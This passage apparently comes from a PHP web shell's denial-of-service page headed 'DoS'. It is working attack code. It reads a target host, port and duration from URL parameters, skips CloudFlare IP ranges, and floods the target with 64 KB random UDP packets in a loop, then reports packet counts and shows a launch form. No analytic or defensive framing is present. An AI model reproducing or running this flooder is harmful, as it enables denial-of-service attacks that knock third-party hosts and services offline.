DoS
 __ _    _ _
 / ____| |  | | |
 (___ | |__   ___| | |
 \___ \| '_ \ / _ \ | |
 __ _) | | | |  __/ | |
 __/|_| |_|\___|_|_|
 
"204.93.240.255", "204.93.177.0" => "204.93.177.255", "199.27.128.0" => "199.27.135.255", "173.245.48.0" => "173.245.63.255", "103.21.244.0" => "103.21.244.255", "103.22.200.0" => "103.22.203.255", "103.31.4.0" => "103.31.4.255", "141.101.64.0" => "141.101.127.255", "108.162.192.0" => "108.162.255.255", "190.93.240.0" => "190.93.255.255", "188.114.96.0" => "188.114.96.255", "197.234.240.0" => "197.234.240.255", "198.41.128.0" => "198.41.128.255", "162.158.0.0" => "162.158.0.255"); foreach ($ranges as $k => $v) { if (ip2long($k) <= ip2long($ip) && ip2long($ip) <= ip2long($v)) { die(); } } return $ip; } function validateHost($domain) { $domain = str_ireplace("https://", "", $domain); $domain = str_ireplace("http://", "", $domain); $domain = str_ireplace("ftp://", "", $domain); $domain = str_ireplace("udp://", "", $domain); $domain = str_ireplace("tcp://", "", $domain); $domainEx = explode("/", $domain); $domainEx = explode(":", $domain); $domain = checkCloudFlare($domainEx[0]); if (filter_var($domain, FILTER_VALIDATE_IP)) { return $domain; } else { if (!filter_var($domain, FILTER_VALIDATE_IP)) { if (filter_var(gethostbyname($domain), FILTER_VALIDATE_IP)) { return $domain; } else { die(); } } else { die(); } } } //UDP if(isset($_GET['host'])&&isnumeric($_GET['time'])){ $packets = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = checkNullStr((int)$_GET['time']); $time = time(); //print "Started: ".time('d-m-y h:i:s')."
"; $max_time = $time+$exec_time; $host = checkNullStr(validateHost($_GET['host'])); for($i=0;$i<65535;$i++){ $out .= generateRandStr(1); } $out = str_replace(" ","X",$out); while(1){ $packets++; if(time() > $max_time){ break; } if ($_GET['port'] == "rand") { $rand = rand(1,65535); } else { $rand = checkNullStr((int)$_GET['port']); } $fp = stream_socket_client('udp://'.$host.':'.$rand, $errno, $errstr, 5); stream_set_blocking($fp, 0); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "
UDP Flood
Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n"; echo '

Host:

Port (rand=random):

Length (seconds):

'; }else{ echo '
UDP Flood
Host:

Port (rand=random):

Length (seconds):

'; } ?>